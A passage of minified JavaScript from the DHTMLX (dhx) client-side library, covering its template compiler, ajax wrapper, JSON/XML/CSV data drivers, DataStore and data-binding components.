q=0,e=0;while(g){q=q+parseInt(g.offsetTop,10);e=e+parseInt(g.offsetLeft,10);g=g.offsetParent}return{y:q,x:e}}},posRelative:function(a){a=a||event;if(!dhx.isUndefined(a.offsetX)){return{x:a.offsetX,y:a.offsetY}}else{return{x:a.layerX,y:a.layerY}}},pos:function(a){a=a||event;if(a.pageX||a.pageY){return{x:a.pageX,y:a.pageY}}var c=((dhx.env.isIE)&&(document.compatMode!=\"BackCompat\"))?document.documentElement:document.body;return{x:a.clientX+c.scrollLeft-c.clientLeft,y:a.clientY+c.scrollTop-c.clientTop}},preventEvent:function(a){if(a&&a.preventDefault){a.preventDefault()}return dhx.html.stopEvent(a)},stopEvent:function(a){(a||event).cancelBubble=true;return false},addCss:function(c,a){c.className+=\" \"+a},removeCss:function(c,a){c.className=c.className.replace(RegExp(\" \"+a,\"g\"),\"\")}};dhx.ready=function(a){if(this._ready){a.call()}else{this._ready_code.push(a)}};dhx._ready_code=[];(function(){var a=document.getElementsByTagName(\"SCRIPT\");dhx.assert(a.length,\"Can't locate codebase\");if(a.length){a=(a[a.length-1].getAttribute(\"src\")||\"\").split(\"/\");a.splice(a.length-1,1);dhx.codebase=a.slice(0,a.length).join(\"/\")+\"/\"}dhx.event(window,\"load\",function(){dhx4.callEvent(\"onReady\",[]);dhx.delay(function(){dhx._ready=true;for(var c=0;c<dhx._ready_code.length;c++){dhx._ready_code[c].call()}dhx._ready_code=[]})})})();dhx.locale=dhx.locale||{};dhx.assert_core_ready();dhx.ready(function(){dhx.event(document.body,\"click\",function(a){dhx4.callEvent(\"onClick\",[a||event])})});(function(){var e={};var c=new RegExp(\"(\\\\r\\\\n|\\\\n)\",\"g\");var a=new RegExp('(\\\\\")',\"g\");dhx.Template=function(h){if(typeof h==\"function\"){return h}if(e[h]){return e[h]}h=(h||\"\").toString();if(h.indexOf(\"->\")!=-1){h=h.split(\"->\");switch(h[0]){case\"html\":h=dhx.html.getValue(h[1]);break;case\"http\":h=new dhx.ajax().sync().get(h[1],{uid:dhx.uid()}).responseText;break;default:break}}h=(h||\"\").toString();h=h.replace(c,\"\\\\n\");h=h.replace(a,'\\\\\"');h=h.replace(/\\{obj\\.([^}?]+)\\?([^:]*):([^}]*)\\}/g,'\"+(obj.$1?\"$2\":\"$3\")+\"');h=h.replace(/\\{common\\.([^}\\(]*)\\}/g,\"\\\"+(common.$1||'')+\\\"\");h=h.replace(/\\{common\\.([^\\}\\(]*)\\(\\)\\}/g,'\"+(common.$1?common.$1.apply(this, arguments):\"\")+\"');h=h.replace(/\\{obj\\.([^}]*)\\}/g,'\"+(obj.$1)+\"');h=h.replace(\"{obj}\",'\"+obj+\"');h=h.replace(/#([^#'\";, ]+)#/gi,'\"+(obj.$1)+\"');try{e[h]=Function(\"obj\",\"common\",'return \"'+h+'\";')}catch(g){dhx.assert_error(\"Invalid template:\"+h)}return e[h]};dhx.Template.empty=function(){return\"\"};dhx.Template.bind=function(g){return dhx.bind(dhx.Template(g),this)};dhx.Type=function(n,m){if(n._dhx_proto_wait){if(!n._dhx_type_wait){n._dhx_type_wait=[]}n._dhx_type_wait.push(m);return}if(typeof n==\"function\"){n=n.prototype}if(!n.types){n.types={\"default\":n.type};n.type.name=\"default\"}var g=m.name;var l=n.type;if(g){l=n.types[g]=dhx.clone(m.baseType?n.types[m.baseType]:n.type)}for(var h in m){if(h.indexOf(\"template\")===0){l[h]=dhx.Template(m[h])}else{l[h]=m[h]}}return g}})();dhx.Settings={$init:function(){this._settings=this.config={}},define:function(c,a){if(typeof c==\"object\"){return this._parseSeetingColl(c)}return this._define(c,a)},_define:function(c,a){var e=this[c+\"_setter\"];return this._settings[c]=e?e.call(this,a,c):a},_parseSeetingColl:function(e){if(e){for(var c in e){this._define(c,e[c])}}},_parseSettings:function(e,a){var c={};if(a){c=dhx.extend(c,a)}if(typeof e==\"object\"&&!e.tagName){dhx.extend(c,e,true)}this._parseSeetingColl(c)},_mergeSettings:function(a,e){for(var c in e){switch(typeof a[c]){case\"object\":a[c]=this._mergeSettings((a[c]||{}),e[c]);break;case\"undefined\":a[c]=e[c];break;default:break}}return a},debug_freid_c_id:true,debug_freid_a_name:true};dhx.ajax=function(a,c,e){if(arguments.length!==0){var g=new dhx.ajax();if(e){g.master=e}return g.get(a,null,c)}if(!this.getXHR){return new dhx.ajax()}return this};dhx.ajax.count=0;dhx.ajax.prototype={master:null,getXHR:function(){if(dhx.env.isIE){return new ActiveXObject(\"Microsoft.xmlHTTP\")}else{return new XMLHttpRequest()}},send:function(h,o,m){var c=this.getXHR();if(!dhx.isArray(m)){m=[m]}if(typeof o==\"object\"){var l=[];for(var e in o){var n=o[e];if(n===null||n===dhx.undefined){n=\"\"}l.push(e+\"=\"+encodeURIComponent(n))}o=l.join(\"&\")}if(o&&this.request===\"GET\"){h=h+(h.indexOf(\"?\")!=-1?\"&\":\"?\")+o;o=null}c.open(this.request,h,!this._sync);if(this.request===\"POST\"){c.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\")}var g=this;c.onreadystatechange=function(){if(!c.readyState||c.readyState==4){if(dhx.debug_time){dhx.log_full_time(\"data_loading\")}dhx.ajax.count++;if(m&&g){for(var a=0;a<m.length;a++){if(m[a]){var q=(m[a].success||m[a]);if(c.status>=400||(!c.status&&!c.responseText)){q=m[a].error}if(q){q.call((g.master||g),c.responseText,c.responseXML,c)}}}}if(g){g.master=null}m=g=null}};c.send(o||null);return c},get:function(a,e,c){if(arguments.length==2){c=e;e=null}this.request=\"GET\";return this.send(a,e,c)},post:function(a,e,c){this.request=\"POST\";return this.send(a,e,c)},put:function(a,e,c){this.request=\"PUT\";return this.send(a,e,c)},del:function(a,e,c){this.request=\"DELETE\";return this.send(a,e,c)},sync:function(){this._sync=true;return this},bind:function(a){this.master=a;return this}};dhx.send=function(e,c,m,l){var g=dhx.html.create(\"FORM\",{target:(l||\"_self\"),action:e,method:(m||\"POST\")},\"\");for(var a in c){var h=dhx.html.create(\"INPUT\",{type:\"hidden\",name:a,value:c[a]},\"\");g.appendChild(h)}g.style.display=\"none\";document.body.appendChild(g);g.submit();document.body.removeChild(g)};dhx.AtomDataLoader={$init:function(a){this.data={};if(a){this._settings.datatype=a.datatype||\"json\";this.$ready.push(this._load_when_ready)}},_load_when_ready:function(){this._ready_for_data=true;if(this._settings.url){this.url_setter(this._settings.url)}if(this._settings.data){this.data_setter(this._settings.data)}},url_setter:function(a){if(!this._ready_for_data){return a}this.load(a,this._settings.datatype);return a},data_setter:function(a){if(!this._ready_for_data){return a}this.parse(a,this._settings.datatype);return true},debug_freid_c_datatype:true,debug_freid_c_dataFeed:true,load:function(a,c){if(a.$proxy){a.load(this,typeof c==\"string\"?c:\"json\");return}this.callEvent(\"onXLS\",[]);if(typeof c==\"string\"){this.data.driver=dhx.DataDriver[c];c=arguments[2]}else{if(!this.data.driver){this.data.driver=dhx.DataDriver.json}}var e=[{success:this._onLoad,error:this._onLoadError}];if(c){if(dhx.isArray(c)){e.push.apply(e,c)}else{e.push(c)}}return dhx.ajax(a,e,this)},parse:function(c,a){this.callEvent(\"onXLS\",[]);this.data.driver=dhx.DataDriver[a||\"json\"];this._onLoad(c,null)},_onLoad:function(m,c,a,e){var h=this.data.driver;var g=h.toObject(m,c);if(g){var l=h.getRecords(g)[0];this.data=(h?h.getDetails(l):m)}else{this._onLoadError(m,c,a)}this.callEvent(\"onXLE\",[])},_onLoadError:function(e,a,c){this.callEvent(\"onXLE\",[]);this.callEvent(\"onLoadError\",arguments);dhx4.callEvent(\"onLoadError\",[e,a,c,this])},_check_data_feed:function(c){if(!this._settings.dataFeed||this._ignore_feed||!c){return true}var a=this._settings.dataFeed;if(typeof a==\"function\"){return a.call(this,(c.id||c),c)}a=a+(a.indexOf(\"?\")==-1?\"?\":\"&\")+\"action=get&id=\"+encodeURIComponent(c.id||c);this.callEvent(\"onXLS\",[]);dhx.ajax(a,function(l,g,e){this._ignore_feed=true;var h=dhx.DataDriver.toObject(l,g);if(h){this.setValues(h.getDetails(h.getRecords()[0]))}else{this._onLoadError(l,g,e)}this._ignore_feed=false;this.callEvent(\"onXLE\",[])},this);return false}};dhx.DataDriver={};dhx.DataDriver.json={toObject:function(data){if(!data){data=\"[]\"}if(typeof data==\"string\"){try{eval(\"dhx.temp=\"+data)}catch(e){dhx.assert_error(e);return null}data=dhx.temp}if(data.data){var t=data.data.config={};for(var key in data){if(key!=\"data\"){t[key]=data[key]}}data=data.data}return data},getRecords:function(a){if(a&&!dhx.isArray(a)){return[a]}return a},getDetails:function(a){if(typeof a==\"string\"){return{id:dhx.uid(),value:a}}return a},getInfo:function(c){var a=c.config;if(!a){return{}}return{_size:(a.total_count||0),_from:(a.pos||0),_parent:(a.parent||0),_config:(a.config),_key:(a.dhx_security)}},child:\"data\"};dhx.DataDriver.html={toObject:function(c){if(typeof c==\"string\"){var a=null;if(c.indexOf(\"<\")==-1){a=dhx.toNode(c)}if(!a){a=document.createElement(\"DIV\");a.innerHTML=c}return a.getElementsByTagName(this.tag)}return c},getRecords:function(c){var e=[];for(var a=0;a<c.childNodes.length;a++){var g=c.childNodes[a];if(g.nodeType==1){e.push(g)}}return e},getDetails:function(a){return dhx.DataDriver.xml.tagToObject(a)},getInfo:function(a){return{_size:0,_from:0}},tag:\"LI\"};dhx.DataDriver.jsarray={toObject:function(data){if(typeof data==\"string\"){eval(\"dhx.temp=\"+data);return dhx.temp}return data},getRecords:function(a){return a},getDetails:function(e){var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}}};dhx.DataDriver.csv={toObject:function(a){return a},getRecords:function(a){return a.split(this.row)},getDetails:function(e){e=this.stringToArray(e);var a={};for(var c=0;c<e.length;c++){a[\"data\"+c]=e[c]}return a},getInfo:function(a){return{_size:0,_from:0}},stringToArray:function(c){c=c.split(this.cell);for(var a=0;a<c.length;a++){c[a]=c[a].replace(/^[ \\t\\n\\r]*(\\\"|)/g,\"\").replace(/(\\\"|)[ \\t\\n\\r]*$/g,\"\")}return c},row:\"\\n\",cell:\",\"};dhx.DataDriver.xml={_isValidXML:function(a){if(!a||!a.documentElement){return null}if(a.getElementsByTagName(\"parsererror\").length){return null}return a},toObject:function(e,a){if(this._isValidXML(c)){return c}if(typeof e==\"string\"){var c=this.fromString(e.replace(/^[\\s]+/,\"\"))}else{c=e}if(this._isValidXML(c)){return c}return null},getRecords:function(a){return this.xpath(a,this.records)},records:\"/*/item\",child:\"item\",config:\"/*/config\",getDetails:function(a){return this.tagToObject(a,{})},getInfo:function(c){var a=this.xpath(c,this.config);if(a.length){a=this.assignTypes(this.tagToObject(a[0],{}))}else{a=null}return{_size:(c.documentElement.getAttribute(\"total_count\")||0),_from:(c.documentElement.getAttribute(\"pos\")||0),_parent:(c.documentElement.getAttribute(\"parent\")||0),_config:a,_key:(c.documentElement.getAttribute(\"dhx_security\")||null)}},xpath:function(h,q){if(window.XPathResult){var g=h;if(h.nodeName.indexOf(\"document\")==-1){h=h.ownerDocument}var n=[];var c=h.evaluate(q,g,null,XPathResult.ANY_TYPE,null);var o=c.iterateNext();while(o){n.push(o);o=c.iterateNext()}return n}else{var m=true;try{if(typeof(h.selectNodes)==\"undefined\"){m=false}}catch(l){}if(m){return h.selectNodes(q)}else{var a=q.split(\"/\").pop();return h.getElementsByTagName(a)}}},assignTypes:function(c){for(var a in c){var e=c[a];if(typeof e==\"object\"){this.assignTypes(e)}else{if(typeof e==\"string\"){if(e===\"\"){continue}if(e==\"true\"){c[a]=true}else{if(e==\"false\"){c[a]=false}else{if(e==e*1){c[a]=c[a]*1}}}}}}return c},tagToObject:function(e,o){o=o||{};var h=false;var g=e.attributes;if(g&&g.length){for(var m=0;m<g.length;m++){o[g[m].name]=g[m].value}h=true}var c=e.childNodes;var n={};for(var m=0;m<c.length;m++){if(c[m].nodeType==1){var l=c[m].tagName;if(typeof o[l]!=\"undefined\"){if(!dhx.isArray(o[l])){o[l]=[o[l]]}o[l].push(this.tagToObject(c[m],{}))}else{o[c[m].tagName]=this.tagToObject(c[m],{})}h=true}}if(!h){return this.nodeValue(e)}o.value=o.value||this.nodeValue(e);return o},nodeValue:function(a){if(a.firstChild){return a.firstChild.data}return\"\"},fromString:function(g){try{if(window.DOMParser){return(new DOMParser()).parseFromString(g,\"text/xml\")}if(window.ActiveXObject){var a=new ActiveXObject(\"Microsoft.xmlDOM\");a.loadXML(g);return a}}catch(c){dhx.assert_error(c);return null}dhx.assert_error(\"Load from xml string is not supported\")}};dhx.DataLoader=dhx.proto({$init:function(a){a=a||\"\";this._ajax_queue=dhx.toArray();this.data=new dhx.DataStore();this.data.attachEvent(\"onClearAll\",dhx.bind(this._call_onclearall,this));this.data.attachEvent(\"onServerConfig\",dhx.bind(this._call_on_config,this));this.data.feed=this._feed},_feed:function(e,a,c){if(this._load_count){return this._load_count=[e,a,c]}else{this._load_count=true}this._feed_last=[e,a];this._feed_common.call(this,e,a,c)},_feed_common:function(g,c,e){var a=this.data.url;if(g<0){g=0}this.load(a+((a.indexOf(\"?\")==-1)?\"?\":\"&\")+(this.dataCount()?(\"continue=true&\"):\"\")+\"start=\"+g+\"&count=\"+c,[this._feed_callback,e])},_feed_callback:function(){var a=this._load_count;var c=this._feed_last;this._load_count=false;if(typeof a==\"object\"&&(a[0]!=c[0]||a[1]!=c[1])){this.data.feed.apply(this,a)}},load:function(a,c){var e=dhx.AtomDataLoader.load.apply(this,arguments);this._ajax_queue.push(e);if(!this.data.url){this.data.url=a}},loadNext:function(e,h,g,c,a){if(this._settings.datathrottle&&!a){if(this._throttle_request){window.clearTimeout(this._throttle_request)}this._throttle_request=dhx.delay(function(){this.loadNext(e,h,g,c,true)},this,0,this._settings.datathrottle);return}if(!h&&h!==0){h=this.dataCount()}this.data.url=this.data.url||c;if(this.callEvent(\"onDataRequest\",[h,e,g,c])&&this.data.url){this.data.feed.call(this,h,e,g)}},_maybe_loading_already:function(c,e){var a=this._feed_last;if(this._load_count&&a){if(a[0]<=e&&(a[1]+a[0]>=c+e)){return true}}return false},_onLoad:function(g,c,a){this._ajax_queue.remove(a);var e=this.data.driver.toObject(g,c);if(e){this.data._parse(e)}else{return this._onLoadError(g,c,a)}this._call_onready();this.callEvent(\"onXLE\",[])},removeMissed_setter:function(a){return this.data._removeMissed=a},scheme_setter:function(a){this.data.scheme(a)},dataFeed_setter:function(a){this.data.attachEvent(\"onBeforeFilter\",dhx.bind(function(m,l){if(this._settings.dataFeed){var h={};if(!m&&!l){return}if(typeof m==\"function\"){if(!l){return}m(l,h)}else{h={text:l}}this.clearAll();var c=this._settings.dataFeed;var g=[];if(typeof c==\"function\"){return c.call(this,l,h)}for(var e in h){g.push(\"dhx_filter[\"+e+\"]=\"+encodeURIComponent(h[e]))}this.load(c+(c.indexOf(\"?\")<0?\"?\":\"&\")+g.join(\"&\"),this._settings.datatype);return false}},this));return a},debug_freid_c_ready:true,debug_freid_c_datathrottle:true,_call_onready:function(){if(this._settings.ready&&!this._ready_was_used){var a=dhx.toFunctor(this._settings.ready);if(a){dhx.delay(a,this,arguments)}this._ready_was_used=true}},_call_onclearall:function(){for(var a=0;a<this._ajax_queue.length;a++){this._ajax_queue[a].abort()}this._ajax_queue=dhx.toArray()},_call_on_config:function(a){this._parseSeetingColl(a)}},dhx.AtomDataLoader);dhx.DataStore=function(){this.name=\"DataStore\";dhx.extend(this,dhx.EventSystem);this.setDriver(\"json\");this.pull={};this.order=dhx.toArray();this._marks={}};dhx.DataStore.prototype={setDriver:function(a){dhx.assert(dhx.DataDriver[a],\"incorrect DataDriver\");this.driver=dhx.DataDriver[a]},_parse:function(e,a){this.callEvent(\"onParse\",[this.driver,e]);if(this._filter_order){this.filter()}var g=this.driver.getInfo(e);if(g._key){dhx.securityKey=g._key}if(g._config){this.callEvent(\"onServerConfig\",[g._config])}var c=this.driver.getRecords(e);this._inner_parse(g,c);if(this._scheme_group&&this._group_processing){this._group_processing(this._scheme_group)}if(this._scheme_sort){this.blockEvent();this.sort(this._scheme_sort);this.unblockEvent()}this.callEvent(\"onStoreLoad\",[this.driver,e]);this.refresh()},_inner_parse:function(c,m){var o=(c._from||0)*1;var l=true;var n=false;if(o===0&&this.order[0]){if(this._removeMissed){n={};for(var g=0;g<this.order.length;g++){n[this.order[g]]=true}}l=false;o=this.order.length}var e=0;for(var g=0;g<m.length;g++){var q=this.driver.getDetails(m[g]);var a=this.id(q);if(!this.pull[a]){this.order[e+o]=a;e++}else{if(l&&this.order[e+o]){e++}}if(this.pull[a]){dhx.extend(this.pull[a],q,true);if(this._scheme_update){this._scheme_update(this.pull[a])}if(n){delete n[a]}}else{this.pull[a]=q;if(this._scheme_init){this._scheme_init(q)}}}if(n){this.blockEvent();for(var h in n){this.remove(h)}this.unblockEvent()}if(!this.order[c._size-1]){this.order[c._size-1]=dhx.undefined}},id:function(a){return a.id||(a.id=dhx.uid())},changeId:function(c,a){if(this.pull[c]){this.pull[a]=this.pull[c]}this.pull[a].id=a;this.order[this.order.find(c)]=a;if(this._filter_order){this._filter_order[this._filter_order.find(c)]=a}if(this._marks[c]){this._marks[a]=this._marks[c];delete this._marks[c]}this.callEvent(\"onIdChange\",[c,a]);if(this._render_change_id){this._render_change_id(c,a)}delete this.pull[c]},item:function(a){return this.pull[a]},update:function(c,a){if(dhx.isUndefined(a)){a=this.item(c)}if(this._scheme_update){this._scheme_update(a)}if(this.callEvent(\"onBeforeUpdate\",[c,a])===false){return false}this.pull[c]=a;this.callEvent(\"onStoreUpdated\",[c,a,\"update\"])},refresh:function(a){if(this._skip_refresh){return}if(a){this.callEvent(\"onStoreUpdated\",[a,this.pull[a],\"paint\"])}else{this.callEvent(\"onStoreUpdated\",[null,null,null])}},silent:function(c,a){this._skip_refresh=true;c.call(a||this);this._skip_refresh=false},getRange:function(g,e){if(g){g=this.indexById(g)}else{g=(this.$min||this.startOffset)||0}if(e){e=this.indexById(e)}else{e=Math.min(((this.$max||this.endOffset)||Infinity),(this.dataCount()-1));if(e<0){e=0}}if(g>e){var c=e;e=g;g=c}return this.getIndexRange(g,e)},getIndexRange:function(g,e){e=Math.min((e||Infinity),this.dataCount()-1);var a=dhx.toArray();for(var c=(g||0);c<=e;c++){a.push(this.item(this.order[c]))}return a},dataCount:function(){return this.order.length},exists:function(a){return !!(this.pull[a])},move:function(a,g){dhx.assert(a>=0&&g>=0,\"DataStore::move\",\"Incorrect indexes\");var e=this.idByIndex(a);var c=this.item(e);this.order.removeAt(a);this.order.insertAt(e,Math.min(this.order.length,g));this.callEvent(\"onStoreUpdated\",[e,c,\"move\"])},scheme:function(a){this._scheme={};this._scheme_init=a.$init;this._scheme_update=a.$update;this._scheme_serialize=a.$serialize;this._scheme_group=a.$group;this._scheme_sort=a.$sort;for(var c in a){if(c.substr(0,1)!=\"$\"){this._scheme[c]=a[c]}}},sync:function(g,e,a){if(typeof g==\"string\"){g=$$(\"source\")}if(typeof e!=\"function\"){a=e;e=null}if(dhx.debug_bind){this.debug_sync_master=g;dhx.log(\"[sync] \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id+\" <= \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id)}this._backbone_source=false;if(g.name!=\"DataStore\"){if(g.data&&g.data.name==\"DataStore\"){g=g.data}else{this._backbone_source=true}}var c=dhx.bind(function(n,h,m){if(this._backbone_source){if(!n){return}if(n.indexOf(\"change\")===0){if(n==\"change\"){this.pull[h.id]=h.attributes;this.refresh(h.id);return}else{return}}if(n==\"reset\"){m=h}this.order=[];this.pull={};this._filter_order=null;for(var l=0;l<m.models.length;l++){var o=m.models[l].id;this.order.push(o);this.pull[o]=m.models[l].attributes}}else{this._filter_order=null;this.order=dhx.toArray([].concat(g.order));this.pull=g.pull}if(e){this.silent(e)}if(this._on_sync){this._on_sync()}if(dhx.debug_bind){dhx.log(\"[sync:request] \"+this.debug_sync_master.name+\"@\"+this.debug_sync_master._settings.id+\" <= \"+this.debug_bind_master.name+\"@\"+this.debug_bind_master._settings.id)}this.callEvent(\"onSyncApply\",[]);if(!a){this.refresh()}else{a=false}},this);if(this._backbone_source){g.bind(\"all\",c)}else{this._sync_events=[g.attachEvent(\"onStoreUpdated\",c),g.attachEvent(\"onIdChange\",dhx.bind(function(h,l){this.changeId(h,l)},this))]}c()},add:function(l,c){if(this._scheme){for(var e in this._scheme){if(dhx.isUndefined(l[e])){l[e]=this._scheme[e]}}}if(this._scheme_init){this._scheme_init(l)}var m=this.id(l);var a=arguments[2]||this.order;var h=a.length;if(dhx.isUndefined(c)||c<0){c=h}if(c>h){dhx.log(\"Warning\",\"DataStore:add\",\"Index of out of bounds\");c=Math.min(a.length,c)}if(this.callEvent(\"onBeforeAdd\",[m,l,c])===false){return false}dhx.assert(!this.exists(m),\"Not unique ID\");this.pull[m]=l;a.insertAt(m,c);if(this._filter_order){var g=this._filter_order.length;if(!c&&this.order.length){g=0}this._filter_order.insertAt(m,g)}this.callEvent(\"onAfterAdd\",[m,c]);this.callEvent(\"onStoreUpdated\",[m,l,\"add\"]);return m},remove:function(e){if(dhx.isArray(e)){for(var a=0;a<e.length;a++){this.remove(e[a])}return}if(this.callEvent(\"onBeforeDelete\",[e])===false){return false}dhx.assert(this.exists(e),\"Not existing ID in remove command\"+e);var c=this.item(e);this.order.remove(e);if(this._filter_order){this._filter_order.remove(e)}delete this.pull[e];if(this._marks[e]){delete this._marks[e]}this.callEvent(\"onAfterDelete\",[e]);this.callEvent(\"onStoreUpdated\",[e,c,\"delete\"])},clearAll:function(){this.pull={};this.order=dhx.toArray();this._filter_order=this.url=null;this.callEvent(\"onClearAll\",[]);this.refresh()},idByIndex:function(a){if(a>=this.order.length||a<0){dhx.log(\"Warning\",\"DataStore::idByIndex Incorrect index\")}return this.order[a]},indexById:function(c){var a=this.order.find(c);if(!this.pull[c]){dhx.log(\"Warning\",\"DataStore::indexById Non-existing ID: \"+c)}return a},next:function(c,a){return this.order[this.indexById(c)+(a||1)]},first:function(){return this.order[0]},last:function(){return this.order[this.order.length-1]},previous:function(c,a){return this.order[this.indexById(c)-(a||1)]},sort:function(h,c,a){var e=h;if(typeof h==\"function\"){e={as:h,dir:c}}else{if(typeof h==\"string\"){e={by:h.replace(/#/g,\"\"),dir:c,as:a}}}var g=[e.by,e.dir,e.as];if(!this.callEvent(\"onBeforeSort\",g)){return}this._sort_core(e);this.refresh();this.callEvent(\"onAfterSort\",g)},_sort_core:function(a){if(this.order.length){var e=this._sort._create(a);var c=this.getRange(this.first(),this.last());c.sort(e);this.order=c.map(function(g){dhx.assert(g,\"Client sorting can't be used with dynamic loading\");return this.id(g)},this)}},_filter_reset:function(a){if(this._filter_order&&!a){this.order=this._filter_order;delete this._filter_order}},_filter_core:function(e,h,c){var g=dhx.toArray();for(var a=0;a<this.order.length;a++){var l=this.order[a];if(e(this.item(l),h)){g.push(l)}}if(!c||!this._filter_order){this._filter_order=this.order}this.order=g},filter:function(g,e,a){if(!this.callEvent(\"onBeforeFilter\",[g,e])){return}this._filter_reset(a);if(!this.order.length){return}if(g){var c=g;e=e||\"\";if(typeof g==\"string\"){g=g.replace(/#/g,\"\");if(typeof e==\"function\"){c=function(h){return e(h[g])}}else{e=e.toString().toLowerCase();c=function(l,h){dhx.assert(l,\"Client side filtering can't be used with dynamic loading\");return(l[g]||\"\").toString().toLowerCase().indexOf(h)!=-1}}}this._filter_core(c,e,a,this._filterMode)}this.refresh();this.callEvent(\"onAfterFilter\",[])},each:function(e,c){for(var a=0;a<this.order.length;a++){e.call((c||this),this.item(this.order[a]))}},_methodPush:function(a,c){return function(){return a[c].apply(a,arguments)}},addMark:function(h,g,a,c){var e=this._marks[h]||{};this._marks[h]=e;if(!e[g]){e[g]=c||true;if(a){this.item(h).$css=(this.item(h).$css||\"\")+\" \"+g;this.refresh(h)}}return e[g]},removeMark:function(h,g,a){var e=this._marks[h];if(e&&e[g]){delete e[g]}if(a){var c=this.item(h).$css;if(c){this.item(h).$css=c.replace(g,\"\");this.refresh(h)}}},hasMark:function(e,c){var a=this._marks[e];return(a&&a[c])},provideApi:function(g,c){this.debug_bind_master=g;if(c){this.mapEvent({onbeforesort:g,onaftersort:g,onbeforeadd:g,onafteradd:g,onbeforedelete:g,onafterdelete:g,onbeforeupdate:g})}var e=[\"sort\",\"add\",\"remove\",\"exists\",\"idByIndex\",\"indexById\",\"item\",\"update\",\"refresh\",\"dataCount\",\"filter\",\"next\",\"previous\",\"clearAll\",\"first\",\"last\",\"serialize\",\"sync\",\"addMark\",\"removeMark\",\"hasMark\"];for(var a=0;a<e.length;a++){g[e[a]]=this._methodPush(this,e[a])}},serialize:function(){var g=this.order;var a=[];for(var c=0;c<g.length;c++){var e=this.pull[g[c]];if(this._scheme_serialize){e=this._scheme_serialize(e);if(e===false){continue}}a.push(e)}return a},_sort:{_create:function(a){return this._dir(a.dir,this._by(a.by,a.as))},_as:{date:function(e,c){e=e-0;c=c-0;return e>c?1:(e<c?-1:0)},\"int\":function(e,c){e=e*1;c=c*1;return e>c?1:(e<c?-1:0)},string_strict:function(e,c){e=e.toString();c=c.toString();return e>c?1:(e<c?-1:0)},string:function(e,c){if(!c){return 1}if(!e){return -1}e=e.toString().toLowerCase();c=c.toString().toLowerCase();return e>c?1:(e<c?-1:0)}},_by:function(c,a){if(!c){return a}if(typeof a!=\"function\"){a=this._as[a||\"string\"]}dhx.assert(a,\"Invalid sorting method\");return function(g,e){return a(g[c],e[c])}},_dir:function(c,a){if(c==\"asc\"||!c){return a}return function(g,e){return a(g,e)*-1}}}};dhx.BaseBind={debug_freid_ignore:{id:true},bind:function(h,g,e){if(typeof h==\"string\"){h=dhx.ui.get(h)}if(h._initBindSource){h._initBindSource()}if(this._initBindSource){this._initBindSource()}if(!h.getBindData){dhx.extend(h,dhx.BindSource)}if(!this._bind_ready){var l=this.render;if(this.filter){var c=this._settings.id;this.data._on_sync=function(){h._bind_updated[c]=false}}this.render=function(){if(this._in_bind_processing){return}this._in_bind_processing=true;var m=this.callEvent(\"onBindRequest\");this._in_bind_processing=false;return l.apply(this,((m===false)?arguments:[]))};if(this.getValue||this.getValues){this.save=function(){if(this.validate&&!this.validate()){return}h.setBindData((this.getValue?this.getValue:this.getValues()),this._settings.id)}}this._bind_ready=true}h.addBind(this._settings.id,g,e);if(dhx.debug_bind){dhx.log(\"[bind] \"+this.name+\"@\"+this._settings.id+\" <= \"+h.name+\"@\"+h._settings.id)}var a=this._settings.id;this.attachEvent(this.touchable?\"onAfterRender\":\"onBindRequest\",function(){return h.getBindData(a)});if(!this._settings.dataFeed&&this.loadNext){this.data.attachEvent(\"onStoreLoad\",function(){h._bind_updated[a]=false})}if(this.isVisible(this._settings.id)){this.refresh()}},unbind:function(a){return this._unbind(a)},_unbind:function(e){e.removeBind(this._settings.id);var c=(this._sync_events||(this.data?this.data._sync_events:0));if(c&&e.data){for(var a=0;a<c.length;a++){e.data.detachEvent(c[a])}}}};dhx.BindSource={$init:function(){this._bind_hash={};this._bind_updated={};this._ignore_binds={};this._bind_specific_rules(this)},saveBatch:function(a){this._do_not_update_binds=true;a.call(this);this._do_not_update_binds=false;this._update_binds()},setBindData:function(c,a){if(a){this._ignore_binds[a]=true}if(dhx.debug_bind){dhx.log(\"[bind:save] \"+this.name+\"@\"+this._settings.id+\" <= @\"+a)}if(this.setValue){this.setValue(c)}else{if(this.setValues){this.setValues(c)}else{var e=this.getCursor();if(e){c=dhx.extend(this.item(e),c,true);this.update(e,c)}}}this.callEvent(\"onBindUpdate\",[c,a]);if(this.save){this.save()}if(a){this._ignore_binds[a]=false}},getBindData:function(a,e){if(this._bind_updated[a]){return false}var c=dhx.ui.get(a);if(c.isVisible(c._settings.id)){this._bind_updated[a]=true;if(dhx.debug_bind){dhx.log(\"[bind:request] \"+this.name+\"@\"+this._settings.id+\" => \"+c.name+\"@\"+c._settings.id)}this._bind_update(c,this._bind_hash[a][0],this._bind_hash[a][1]);if(e&&c.filter){c.refresh()}}},addBind:function(a,e,c){this._bind_hash[a]=[e,c]},removeBind:function(a){delete this._bind_hash[a];delete this._bind_updated[a];delete this._ignore_binds[a]},_bind_specific_rules:function(a){if(a.filter){dhx.extend(this,dhx.CollectionBind)}else{if(a.setValue){dhx.extend(this,dhx.ValueBind)}else{dhx.extend(this,dhx.RecordBind)}}},_update_binds:function(){if(!this._do_not_update_binds){for(var a in this._bind_hash){if(this._ignore_binds[a]){continue}this._bind_updated[a]=false;this.getBindData(a,true)}}},_bind_update_common:function(e,c,a){if(e.setValue){e.setValue(a?a[c]:a)}else{if(!e.filter){if(!a&&e.clear){e.clear()}else{if(e._check_data_feed(a)){e.setValues(dhx.clone(a))}}}else{e.data.silent(function(){this.filter(c,a)})}}e.callEvent(\"onBindApply\",[a,c,this])}};dhx.DataValue=dhx.proto({name:\"DataValue\",isVisible:function(){return true},$init:function(a){this.data=\"\"||a;var c=(a&&a.id)?a.id:dhx.uid();this._settings={id:c};dhx.ui.views[c]=this},setValue:function(a){this.data=a;this.callEvent(\"onChange\",[a])},getValue:function(){return this.data},refresh:function(){this.callEvent(\"onBindRequest\")}},dhx.EventSystem,dhx.BaseBind);dhx.DataRecord=dhx.proto({name:\"DataRecord\",isVisible:function(){return true},$init:function(a){this.data=a||{};var c=(a&&a.id)?a.id:dhx.uid();this._settings={id:c};dhx.ui.views[c]=this},getValues:function(){return 